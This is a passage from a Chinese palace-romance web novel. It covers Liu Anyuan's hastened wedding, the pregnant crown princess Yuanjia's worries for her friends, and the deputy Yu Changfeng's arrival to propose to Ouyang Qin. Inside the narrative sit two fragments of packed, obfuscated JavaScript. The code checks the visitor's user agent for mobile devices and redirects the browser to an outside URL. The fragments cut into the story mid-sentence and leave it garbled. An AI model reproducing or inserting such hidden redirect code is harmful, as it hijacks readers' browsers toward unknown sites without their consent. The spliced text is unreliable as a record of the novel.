“我自问这许多年与你交往匪浅,可谢韫暄三字,却从未在你的嘴里听到过……须知喜欢一个人的心思是藏不住的。”元嘉见她不答,叹了口气,又道:“你上次说,他与你打小便见过,这么多年也不曾断了联系,所以谢、柳两家订亲并不是全然的父母之命,而是因你二人有情。这话难道也是假的,是特意诓我和沁姊姊的吗?” “不是的,不是的……” 柳安沅终于说话,可声音却满透着嘶哑干涩。 “我确是见过他的,外祖母也确是赠了药,可、可谁都不知道,他少时那场大病,是因我而起……” “那假山在水池边上,只被一条极窄的石子道连通,左右两边都是水。他怕挤着我,也怕我被谁发现躲在这儿,所以让了又让,避了又避,离开时不甚跌进了水池,这才被他家仆找见。我当时不知他体弱,又见他从池子里爬起来后一切无恙,便什么也没管,后来才知道他回去后生了好大一场病……可即便如此,他也没在人前提过我一句,更在我之后找上他时,摆出一副全然不记得了的模样,就为了让我安心。” “而他想让我退亲,也不全是害怕我来日寡居的缘故,更是因为听到了家中长辈私下的议论 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柳安沅像是在说给元嘉听,又像是在给自己找理由,一番话颠来倒去,到最后也没说出个所以然来。 “阿沅,你就没想过,你如今的气恼、愤怒,只是因为无法接受已被自己视作理所应当的、成为谢韫暄妻子的事实,被他亲口否决掉了,你对他、或许根本就不是喜欢呢……” 元嘉抿了抿嘴,还是说出了口。 “我、我不知道……”柳安沅闻言,更是茫然,“我应该还是有些喜欢的吧?他家上门求娶时,我不觉受了冒犯,反倒还挺高兴的……或许,是因为我与他相识,所以捡懒将就?又或许,是我对他生有愧疚之心,所以存了用婚事弥补他的心思?还是、还是我瞧他可怜,所以不忍心回绝他?” “我、我到底喜不喜欢他呢?” 柳安沅捂着脸,像是承受不住一般痛苦呻吟起来。 “阿沅,到如今你还想嫁他吗?” 元嘉沉默了一会儿,又问道。 “……我、还是想的。” 又过了好一阵,屋内才响起柳安沅细弱蚊蝇的声音。 “那便顺着自己的心意去做,如何?” 元嘉弯起眼角,“或许是我说错了,你对他是喜欢的,只是这喜欢中掺了太多其他的东西,糅着愧疚、可怜,搅得你自己也不知道是不是喜欢了。可只要你想,那便去做,柳家阿沅早不是三岁孩童了,用不着叫别人拿主意,你自己也已经做了决定了,不是吗?” 柳安沅掀起面帘,扭头望着元嘉的方向,呆愣愣地露了抹笑,一张嘴像是不受控制般吐出话来,“是啊,我早就做了决定了,我就是要嫁他,我不退亲!” “只是,宿国公与靖安郡主那边,你得好生去说,”元嘉下意识抚着肚子,“若我有孩子,我也是希望他可以与自己的爱侣白首偕老的,所以他们的担忧,不是错。” “我会的,”柳安沅放下面帘,又将手搭回自己膝上,缓了缓方道,“我要去一趟汾阳王府!” “过去做甚?” “去痛骂谢韫暄一顿,再告诉他,我要和他提前完婚!”柳安沅一字一句道,“嘉儿,多谢你开解我!这件事、这些话,我不好对阿爹阿娘说,也不敢在这时候去烦沁姊姊,阿瑶也还在云南没有回来,若没有你,我都不知道自己除了哭还能做些什么……我这就去找他,跟他说清楚!” 柳安沅说着就要离开,却又在转身的刹那被元嘉唤停了脚步。 “阿沅,我不拦你,可我还是要再多言两句,”元嘉起身走近,站在与柳安沅一纱之隔的地方缓缓道,“谢韫暄生有弱症,又害病未愈,来日光景难以预料。你嫁他,或几月时光,或几载岁月,便必须面对他可能先你而去的现实。如今你只因他要退婚便觉难过哭泣,若来日他有不测,你所受所感,只会远甚今日……这样、你也还要喜欢吗?” 柳安沅这次并没有沉默多久,只是将背脊挺得笔直,头也不回地道:“只要他在这世上一日,只要他还喜欢我一日,我就做他的妻子一日,对他好一日,其他的事情,我现在不愿去想,我、只想活在当下。” “好,”元嘉看着柳安沅坚定的背影,心下释然,由衷道,“那我便祝你与他长长久久、岁暮白首。” “那是自然,你就等着吃我与他的喜酒吧!” 柳安沅高声道,又背朝元嘉摆了摆手,步履坚定地离开了长春馆。 83. 新嫁妇 柳安沅离开后,逢春几人又重新回了屋内伺候,元嘉少不得叮嘱起徐妈妈来,让她着人去瞧着柳安沅的动静,还有谢、柳两家的反应。 提前婚期,倒还真是柳安沅能想出来的法子。元嘉无奈摇头,却也慕羡前者这样纯粹热烈、能够毫无保留地朝自己想要的东西奔赴的性子。 “女君。” 是拂冬进来了。 “何事?” 元嘉头也不抬地问道。 “倪良娣、刘良娣、卫良媛,还有吴昭训,命人过来送东西了,”拂冬上前回话,“另向您再赔个不是,说眼下不好亲来道贺,但等时疫平息,一定过来好生恭贺您。” 元嘉抬眼望去,果见院外空地处站着好几个熟悉的身影,俱是在倪娉柔几人身边贴身服侍的,再后头跟着一堆捧着物件的小宫女,笑了笑,道:“劳她们记挂,都收进库房里吧。拂冬,你再出去替我传句话,就说请她们各自保重身子,待里外安稳后再请她们过来吃茶。” 拂冬应了一声,忙三步并作两步地走了出去,站在阶上,指挥着人把东西接过手,动作间倒隐隐有几分逢春的影子了。 元嘉放下手里的杯盅,忽而想起拂冬进门时报的几个名字,偏过头又问起逢春来,“徐昭训近来可好?” 逢春点头又摇头,“倒没听说昭训处有什么事情发生,只是近来甚少在院子里走动,如今更连自己的屋子也不大出去了。” “无恙便行,这当头闭门不出也是好事,”元嘉重又端起杯盅,“记住了,娘子们和小郡主处,每日都要有医女入内请脉,脉案也得一并留着,一日都不许误。” “是。” 元嘉啜饮了两口茶,仍觉得喉间不适,又有作呕之感,忙抚了抚胸口,蹙着眉头回到榻上卧息。 稍晚时候,徐妈妈带回了柳安沅婚事的下文。前者果然不管不顾地去了汾阳王府,红着眼眶将谢韫暄怒斥了一番不说,更当着汾阳王夫妇的面要提前完婚。宿国公与靖安郡主赶到时,柳安沅正压着此前定婚期的相士新算日子呢! “之后呢?” “自然是遂了柳娘子的愿了,”徐妈妈话里带笑,“芳菲特意来咱们府上报了信,说是两家已商议好了,不等入秋再完婚,将婚期改至六月了。” “六月?正日子是哪天?” 元嘉问道。 徐妈妈另说了个日子,只是听着有些耳熟。 元嘉细想了一圈,恍然道:“赵家大娘子是不是也在那日出嫁?” 这样一说,徐妈妈也想起来了,“还真是同一日呢。” “看来是个黄道吉日,可惜了……” 元嘉摇摇头,不再多说。 可徐妈妈还是听明白了──宗亲女嫁夫,皇室子娶妇,这两场婚宴原该是上京最热闹盛大的喜事才对。可如今一人害疾,一人无行,又遇时疫肆虐,只怕是要冷清寥落了。 “芳菲还说,因日子提前,尚有许多东西还未置办齐整,也不知到时能不能大办,故而等一应妥当之后,再给咱们送喜帖。” 徐妈妈忙转了话题。 “好,”元嘉微微一笑,“那我便等着给阿沅添妆了。” 徐妈妈应了一声,不知还能说些什么,只好抿嘴不言,屋内又恢复了一片死寂。 “对了,欧阳府那边可有什么新的动静?” 柳安沅的事情解决了,元嘉不免又记挂起欧阳沁来。 “哪能那么快,”徐妈妈柔声道,“奴婢叫人守着呢,但有动静,定第一时间说与您听。” 元嘉这才点头,起身回了床榻,“那就把灯熄了,太子今夜留宿皇宫,也不会过来,咱们也早些安置。” “是。” 徐妈妈又招来人服侍元嘉梳洗,直到前者安稳卧于床榻,方才悄声退下。 那之后又过了几日,欧阳府总算传来了消息,却不是为了欧阳澄发丧,而是── “欧阳将军命人将澄小郎君,和澄小郎君用过的所有东西都焚掉了。” 逢春站在元嘉身前,低声道。 “可是你听岔了?” 元嘉的第一反应是不敢相信,“不是入殓,不是发丧,而是……火焚?” “奴婢不敢乱说,这话是玉戟姊姊亲口说的。” 逢春低垂着脑袋。 “……还说了些什么?” “姊姊还说、说眼下不便出城,所以只能暂将澄小郎君的骨灰坛子放至家祠供奉,待能离京了,再将小郎君葬于父母坟旁……” 以欧阳沁的个性,她一早便该想到的。京中防疫,本就要求将染病至死的百姓集于一处焚毁,虽然严酷,却能最快阻断疫病的继续蔓延,但欧阳澄却是在禁令颁布前的半夜时分离世的,真算起来,并不在强制焚烧之列。元嘉原以为,欧阳沁舍不得弟弟,或许会想办法卡着疏漏将人埋葬,不曾想,为了大局安稳,还是选择了火焚这条路。 这得多痛呢。 元嘉张了张嘴,最后还是什么都没说,只挥手命人下去,自己却蜷在床榻的角落发起呆来。 …… 日子突然就这样沉寂下来。 欧阳沁在欧阳澄火焚后次日,便开始带着卫兵往上京城各处防疫,早出晚归,柳安沅也一门心思地为自己六月的婚宴做着准备,再不出府。 太子府内,因有光熹帝敕谕和燕景祁的三令五申,倪娉柔几个也不敢往长春馆去,连侍女也不敢多派了来,彼此间只在自己的院里活动。 燕景璇倒是想过来探望,可禁令之下,她便是公主,也不好违律,只能借着燕景祁不时出入皇宫的机会,用他的手为元嘉送些补物,亦或是时兴的衣料首饰。 季家也不例外,虽有徐妈妈特意告知喜讯,可府上还有几个小的要顾,顾静则也是个怀着孩子的大肚妇,哪个都不好轻动。季母只好让徐妈妈代为转达了喜悦之情,又送来一堆妊妇的常用之物,约好时疫后再过府探望。 既无交好的人坐谈闲话,又没办法再任意活动,元嘉的生活开始了无趣味起来。除了吃补药,便是休息,连书都不让多看,就怕害了眼睛。好在还能碰下针线,做些孩子的贴身衣物,可也得在一群人的注目之下,次数多了,元嘉自己也淡了心思。 燕景祁维持着每两日往长春馆一趟的频次,陪着元嘉,也陪着元嘉肚里的孩子,倒也算是聊胜于无。 好在,经过太医署一众医官不眠不休地研析,治疗时疫的方子总算被制了出来,开始熬煮、分发给各处患疫的百姓。这场自水患而始的灾疾,终于步入了尾声。 总归,是有好事发生的。 时序转入六月,上京却仍未恢复往日的热闹。这次疫病带走了许多人的性命,有平头百姓,也有乌衣子弟。眼下解了禁,这些失了亲眷的人家也开始先后举起丧来,上京城哀乐不断,不时还能看见被风扬散在空中的白纸花。 柳安沅与赵妍和便是在这样的情况下出嫁的。没有十里红妆,也没有宾客盈门。虽都往各处发了喜帖,可到底要避白事,能亲自赴宴的人不多,最后也只是诸事从简,仪礼上无有过错罢了。 元嘉的肚子已开始显怀了,可还是去了国公府,亲自送柳安沅出嫁,至于端王处,自有燕景祁代为道贺。 …… 柳安沅端坐在床沿边上,早已梳妆换衣,此刻嫁裙裹身,簪钗满头,整个人都洋溢着新嫁娘的喜悦。屋内一群年轻娘子拥着柳安沅,又是打笑,又是恭喜,其中不乏元嘉熟悉的面孔,欧阳沁也在人群之中,只是略站得开了些,并未融入这方圆间的热闹。 “这是我着人特意打制的花冠,取的是并蒂芙蓉的好兆头,祝你与他恩爱长久、白首齐眉。” 元嘉微微侧头,逢春便将一直捧着的匣子交到芳菲手中,又退后几步回到元嘉身边。 “……多谢太子妃,也请太子妃保重身子。” 大庭广众之下,嘉儿两字是再唤不得,柳安沅克制着道了谢,双眼却不免有些湿润。 元嘉笑着拍了拍柳安沅的手,余光见又有人进来,便也顺势退到欧阳沁身边。将将站稳,便感到腰际有什么贴了过来,原是欧阳沁担心元嘉受累,遂用掌心托住了她的后腰。 元嘉没有说话,只歪过头朝欧阳沁笑了一笑。又见屋内涌进的人愈多。偏自己呆在这里,旁人便是有再多的好话恭喜,也不敢多言,索性朝柳安沅一点头,与欧阳沁绕过人群去了外屋。 芳菲也跟了出来,与逢春一道扶着元嘉坐好,方又告罪一声回去。 外屋未用作待客的地方,除了有侍女们不时进出外,倒比柳安沅在的里屋安静许多。 “都是有身子的人了,怎么不多带些人伺候,竟还往人多的地方去。” 欧阳沁挨着元嘉坐下,声音不高不低,整个人瞧着却清减了不少。 “如今各处都还在休养生息呢,我如何能大张旗鼓地带一堆人过来,”元嘉将手搭在腹间,这是她近段时日才养出的习惯,“阿沅今日成婚,我也想亲眼看着她出嫁。” “……下次不许再瞒我了。” 欧阳沁并不瞧人,只偏着脑袋道。 元嘉很快便反应过来──她有妊的消息早在时疫略平稳后便传出去了,季家也有知道的人,欧阳沁只消多打听两句,便不难推算出她是在离开欧阳府后被诊出有妊的。 “我心里都有数呢,无事的。” 元嘉摇头示意无碍。 “你……” 欧阳沁扭过头,还欲朝元嘉说些什么,却见柳安沅团扇覆面,已然在一群人的簇拥下走了出来。 这是到吉时了。 欧阳沁遂止了口,自椅上起身,又将元嘉扶了起来。两人随着人群一同出去,眼瞧着柳安沅拜别宿国公与靖安郡主,又在喜娘的搀扶下跨门上轿,鞭炮声一响,队伍便往汾阳王府而去。 两人站在阶上,目视着花轿越行越远,心中却各有思量。 “你看清那人了吗?” 欧阳沁率先开口。 “……骑在马上的那个,不是谢韫暄吧?” 元嘉眼中深色重重。 “年岁对不上,若我没有看错,那人当是汾阳王三子。” 欧阳沁收回视线。 “替侄子接新妇入门,那这谢韫暄的病远比我想的严重,阿沅她……” 元嘉说不下去了。 欧阳沁握住元嘉垂在袖下的手,带着些许安慰的意味。两人正沉默着,侍剑不知从哪里走了过来,因周遭声音杂乱,凑在欧阳沁的耳边说了些什么,前者听后便要与元嘉告辞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460767|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“家中有些琐事需要处理,”欧阳沁不作隐瞒,“你也早些回去,莫要在外头久站,我让侍剑送你一程。” “哪里就这么金贵了?” 元嘉无奈轻笑。 “我自己骑马就可以回去,让侍剑送你,我也可安心些。” 欧阳沁坚持道。 元嘉拗不过,只得同意。欧阳沁这才松了眉头,下了阶策马离开。 元嘉在两人搀扶下上了马车,又遣逢春去靖安郡主处知会一声,自己则与侍剑坐在车厢内稍事歇息。 “侍剑,沁姊姊此去匆匆,可是有什么要紧事?” 元嘉本欲阖眸养神,却总放心不下欧阳沁,犹豫了好一会儿,还是问出了口。谁知却迟迟未听见侍剑的声音,奇怪地睁开眼,便见前者一副为难模样。 “若有不方便说的,便不说吧,只要沁姊姊无事便好。” “不是,是我家娘子她、她,”侍剑顿了好几下,一副不知该如何言说的表情,好半天才捋清了话头,“她决定招婿了!” “怎么会突然起了这念头?” 元嘉昏沉的大脑陡然清醒,却又想起欧阳沁之前说过的话。 不是说,要再晚两年吗? “娘子说,小郎君的事既已了了,便也得为欧阳家日后打算起来了,”侍剑扯着腰间的穗子,轻声道,“娘子还说,她这一代,男丁本就稀少,原指望小郎君长大后能担起欧阳家门楣,哪知道……她如今招婿,好歹能再撑着欧阳家几十年。” “这有什么,”元嘉听完反倒放下心了,身子也又倚回了软枕之上,“沁姊姊本就是人中龙凤,若将自己嫁个寻常郎婿,一辈子守着后宅,那才叫委屈。如今招个上门婿,里外公私都是好事。” “可问题就出在这儿,”侍剑愁眉不展,“娘子根本就不想好好拣选,只想找个能安心待在欧阳家的。方才回去,就是因为媒妁拿了好些适龄儿男的庚帖上门,想着尽快定下呢!” “这可是一辈子的大事,怎就这么着急?” 元嘉奇怪道。 “这、这,”侍剑的脸有些燥红,“娘子说,要趁着这两年四方太平,先生个孩子……” 顿了顿,又道:“娘子还怕欧阳家此代绝户,更怕自己哪日上了战场再没回来,所以才这样着急。” “又是个自己咒自己的!” 元嘉生气道:“如今太平盛世,你家娘子保不齐要就此卸甲了,哪轮得到在沙场上丢命!什么绝户不绝户的,便没有沁姊姊,欧阳家那么多的旁支,傍着主支享了多少年的松闲日子,如今竟连一个嗣子都找不出来吗!” “欧阳家的主支,是一定要从军为武的,反倒是旁支,可以凭着兴趣做其他营生,这样的安稳日子过久了,谁还想把脑袋别在裤腰带上讨生活呢?”侍剑态度还算平和,“再者,立了嗣子,孩子便要接到将军府,远离亲生父母,改由老夫人抚育,他们又如何受得住这生离之苦……娘子也不愿做这狠心之人。” 元嘉无声叹了口气,垂着眼睛想了几瞬,忽而问道:“沁姊姊在边城可有熟人?” “娘子驻守边城多年,那里的人大多是认识娘子的……您怎么突然问起这个了?” 侍剑疑惑道。 “若没有你说与我听,我连她要招婿的事情都不知道呢。沁姊姊瞒得如此之严,想来也是不愿意听我们劝的,”元嘉指尖划过眉梢,忖度道,“既如此,便还得再寻个能让姊姊听劝的人来。” 侍剑一听,立刻细思了起来,而后拊掌道:“还真有!娘子身边的副将,唤作虞长风的,他说的话娘子倒能听进去些。” “虞长风……”元嘉沉吟了两下,“长风是他的名字?” “虞副将字长风,名字是留良二字。” 侍剑在空中比划了两下。 元嘉若有所思,少顷果断道:“那便给这个虞长风修书一封,请他写封信劝上一劝,只是不知道这一来一回又得多长时间?” “这倒不妨事,军中自来有豢养信鸽的习惯,飞鸽传书,还是会快上不少。” 侍剑自觉找到了能叫欧阳沁听劝的人,一时间高兴不少。 “那便好,”元嘉放下心来,“这些日子,少不得还要你再劝姊姊两句,总归不要那般着急。” “是,”侍剑感激道,多谢您惦记着我们家娘子了。” 元嘉笑着摇头,又问起欧阳澄的事来,“……如今还供奉在家祠吗?我总想着再过去添几炷香。” 侍剑点点头,“娘子近来不得空回老宅,又不放心其他人带着小郎君回去,便索性等定下郎婿,再与新郎婿一起带小郎君回去,也去老爷、夫人坟前祭拜一番。” “那你一会儿回去了,也替我给沁姊姊捎句话,就说我过些日子上门祭拜,请她勿要推拒。” 元嘉细细叮嘱道。 侍剑自是无有不应。 不多时,逢春也上了车,显然已办好了元嘉交代的事情。马车吱呦呦地转动起来,装着几人往太子府而去。元嘉也不再说话,只靠着软枕养起神来。自她有妊之后,便总容易乏累疲倦。眼下才说了多久的话,便又开始生了困意。 昏昏沉沉间,元嘉忽又想起了侍剑口中的虞副将。 虞长风…… 长风。 84. 虞长风 又两日,元嘉与欧阳沁定下上门之期,又命红玉等提前备好贡品香烛,待到过府之日一并带去,为免瞩目,还特意换了驾无有徽记的马车。期间,欧阳沁虽还继续让媒妁找人,可到底没有真的点头,这也叫元嘉暗自松了口气。 好容易等到约定那日,元嘉本想径直往欧阳府去,可路过知味楼时,还是让车夫勒紧马头停了片刻。 欧阳澄从前便爱吃这家的点心,欧阳沁也总拿它去哄自家小弟开心。 这样一想,元嘉干脆让徐妈妈进去选了几样欧阳澄从前爱吃的,等待时便隔着车帘与逢春说话。 正当时,有快马疾驰而过,又在经过元嘉车驾时突然停驻,随即响起一道清越的男声—— “敬问娘子康安!” 逢春立时将帘布放下,这才望向来人,谨慎道:“郎君康安,不知郎君有何指教?” 男子闻言,面上有些赧然,却还是开口道:“我少来上京,城内如今的布置又与我记忆中有些差别,一时迷途,无意间听娘子们提到将军府,这才唐突打扰……敢问娘子们口中的将军府,可是驻守边城的欧阳将军府邸?” 逢春一愣,迟疑着没有说话,倒是元嘉掀了侧帘,微微掩了面便打量起人来。 问话的,是个神采英拔的年轻男子,窄袖翻领袍,革带乌皮靴,束发戴冠,鲜眉亮眼,此刻正背脊挺直地立于马上,脑袋微侧着等人出声。端的是丰神俊秀、气宇昂昂,只是眼角眉梢间略带焦躁,倒显得整个人锐利了许多。 元嘉的视线停在男子脸上,又不动声色地打量了一番,心下思绪流转,面上却毫不显露,只稍稍用侧帘遮挡了大半面庞,而后道:“郎君没有听错,我们说的确是欧阳将军府邸。” 那人一听元嘉的话,顿时露出三分喜色,忙道:“还请娘子告诉我,若要去欧阳将军府,又该如何行路?” “你认识欧阳将军?” 元嘉避过男子的话,转而问道。 “这,”那人下意识挠了挠脸,犹豫着开口,“在下与欧阳将军有旧,今次是特意过来上京拜见将军的。” 元嘉唔了一声,不置可否,心中却隐约有了答案。 “喏,”元嘉指了个方向,“你从那条道走,拐上几个弯便到了。” 又稍微比划了两下。 那人听后,立刻拱手道谢,紧跟着调转马头,一夹马腹便往元嘉指的方向奔去。 逢春眼看着男人的背影消失在视线尽头,这才迟疑道:“女君,您方才指的方向,似乎并不是去欧阳府最近的路?” “咱们的马车可跑不过他,还是让他费些脚程等我们吧。”元嘉放下侧帘,又坐了回去,隔了一层的声音显得有些含糊不清,“那条道上有处繁华的商市,够他牵着马走上一路了……徐妈妈怎么还没出来,逢春,你进去帮把手,咱们也得快些过去,我大概知道那人是谁了。” 逢春不解其意,但仍遵了吩咐进店寻徐妈妈去了。又一阵,两人从知味楼出来,左右两手各拎着数个捆扎严实的牛皮纸包,在车夫的帮扶下,一前一后地上了马车。 “走快些,到了先停在外头的大榕树后面,不必下车叩门,咱们先在车上坐一坐。” 元嘉吩咐道。 “是!” 徐妈妈与逢春视线相接,眼中满是困惑。驾马的车夫倒无有察觉,一面扬鞭,一面扯着嗓子答应道。 …… 元嘉的马车到时,欧阳府外头还安静一片,未瞧出有人过来的样子。车夫小心将马车停在榕树的背阴处,又搭了脚凳,预备着给元嘉下车时用。 逢春探出身子张望了几眼,很快便又缩了回来,“女君,方才那人似乎还没有到呢……” “还没到?不该啊……难道是堵在路上了,”元嘉掀了侧帘,正疑惑着,下一刻便眉开眼笑,“瞧,这不是来了!” “吁——” 伴随着一阵急促的嘶鸣声,头先问路的男子纵马出现在欧阳府门外,不等停稳便翻身下马,又三步并作两步地跨上台阶,叫起门来。 门房听见声音,从里头取了闩探头张望,那人顺势将手里握着的东西递了过去,又说了两句话,便任由门房再度将门合拢,自己则退后两步,又耐心等待起来。 “……女君认识这人?” 徐妈妈远远瞧着,一时分辨不出那男子的身份,只好问道。 “算不得认识,只是猜测他是沁姊姊在边城时的下属罢了。” 元嘉聚精会神地围观。 闻言,徐妈妈又一次将视线投了过去,也学着元嘉的样子观望起来。 不多时,门内又传出了响动,有人开了角门。紧跟着出来的,不是欧阳沁身边的任何一人,竟是她自己过来了! …… 欧阳沁没有下阶,只垂目注视着来人,口气是少有的躁烦,“虞长风!你不在边城好生守着,跑上京来做甚!” 男人、不,应该说是虞长风,自欧阳沁出来后便垂下了眼,此刻偏着脑袋开口,“听闻将军家中遭变,末将们在边城很是担心,所以……” “你这话听谁说的?”欧阳沁嗤了一声,“我最近几封书信,似乎都不曾提到自身近况,你如何能知道我家中出事?” 欧阳沁说着,用余光朝身后扫视了两眼,见侍剑有些不自然地低下头,面无表情地勾了勾嘴角,“好啊,如今竟也学会背着我传话了。” “将军……” 虞长风还想开口,却被欧阳沁毫不留情地打断,“虞长风,私离军营是大罪,我不管你来上京是要做什么,赶紧回去!若被人发现,虞家保不住你,我也保不住!” 这是在元嘉面前,从未显露过的威厉。 但虞长风显然没被吓住,仍绷着嘴角道:“末将没有私离,末将休的是探亲假!” “扯谎!你一个会稽出身的人,有什么亲要来上京!” 欧阳沁不为所动,甚至连步子也没挪上一分,她是打定主意连门也不让虞长风进了。 “我做了欧阳府的东床,不就在上京有亲了!” 虞长风低吼道。 欧阳沁不说话了,只神色不明地盯着虞长风不放。 “虞长风倾慕欧阳娘子已久,盼与娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虞长风嘟囔着,却又在欧阳沁的注视下硬生生拐了个弯,解释道:“我来边城的第二年就同他们说过了,这辈子只想让您做我的妻子……只是总觉得自己还配不上您,这才不敢表明心迹。” “第二年?”欧阳沁眯起眼睛,“就是你给自己取了个字的那一年?” 虞长风嗯了一声,又开始闭口不言了。 “我还真是小瞧你了!” 欧阳沁两手抱胸,一句话说得阴阳怪气。 “不论将军怎么说,我倾慕将军之心,从未变过!” 虞长风执拗道。 “娶新妇进门和做别家的上门婿不一样,便是你想,虞家也未必是肯的。” 欧阳沁又是一阵沉默,少顷才重新出声,却是松了口。 “他们肯的,”虞长风咧开嘴笑了起来,“来之前我都写信告诉他们了,快马加鞭,一刻都没耽搁!进城前我收到回信,他们同意不说,还叮嘱我要好生进取,莫要给你拖了后腿!” 见欧阳沁皱眉不语,又道:“我不是长子,也不是独子,虞家这一辈远有比我更出色的子弟,我是娶妻还是入赘,都不妨事的。再说了,我从前又是那样的霸王性子,来边城后才好了几分,他们怕也是更放心我跟您在一块儿呢!”